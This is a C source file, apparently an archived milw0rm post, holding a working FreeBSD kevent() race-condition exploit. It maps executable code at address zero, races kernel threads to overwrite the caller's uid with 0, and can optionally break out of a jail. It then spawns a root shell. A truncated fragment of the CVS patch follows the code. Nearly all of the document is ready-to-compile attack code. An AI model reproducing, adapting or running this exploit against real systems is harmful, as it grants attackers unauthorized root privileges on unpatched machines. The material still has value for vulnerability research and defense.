====== kevent.c ======


<code c>

/* 22.08.2009, babcia padlina
 * FreeBSD kevent() race condition exploit
 *
 * works only on multiprocessor systems
 * gcc -o padlina padlina.c -lpthread
 * -DPRISON_BREAK if you want to exit from jail
 *
 * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion
 */
 
#define _KERNEL
 
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>
 
int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;
 
static void kernel_code(void) {
    struct thread *thread;
    gotroot = 1;
    asm(
        "movl %%fs:0, %0"
        : "=r"(thread)
    );
    thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
    thread->td_proc->p_ucred->cr_prison = NULL;
#endif
    return;
}
 
static void code_end(void) {
    return;
}
 
void do_thread(void) {
    usleep(100);
 
    while (!gotroot) {
        memset(&kev, 0, sizeof(kev));
        EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);
 
        if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
            perror("kevent");
    }
 
    return;
}
 
void do_thread2(void) {
    while(!gotroot) {
        if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0)
            perror("open");
 
        close(fd);
    }
 
    return;
}
 
int main(void) {
    int i;
    pthread_t pth, pth2;
 
    if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
        perror("mmap");
        return -1;
    }
 
    memcpy(0, &kernel_code, &code_end - &kernel_code);
 
    if ((kq = kqueue()) < 0) {
        perror("kqueue");
        return -1;
    }
 
    pthread_create(&pth, NULL, (void *)do_thread, NULL);
    pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
 
    timeout.tv_sec = 0;
    timeout.tv_nsec = 1;
 
    printf("waiting for root...\n");
    i = 0;
 
    while (!gotroot && i++ < 10000)
        usleep(100);
 
    setuid(0);
 
    if (getuid()) {
        printf("failed - system patched or not MP\n");
        return -1;
    }
 
    printf("hwdp!\n");
 
    execl("/bin/sh", "sh", NULL);
 
    return 0;
}
 
 
/*
Patch for this vulnerability, as in CVS:
 
--- src/sys/kern/kern_descrip.c 2006/09/04 10:30:09 1.279.2.8
+++ src/sys/kern/kern_descrip.c 2006/09/29 18:30:48 1.279.2.9
@@ -35,7 +35,7 @@
  */
  
 
// milw0rm.com [2009-08-24]

</code>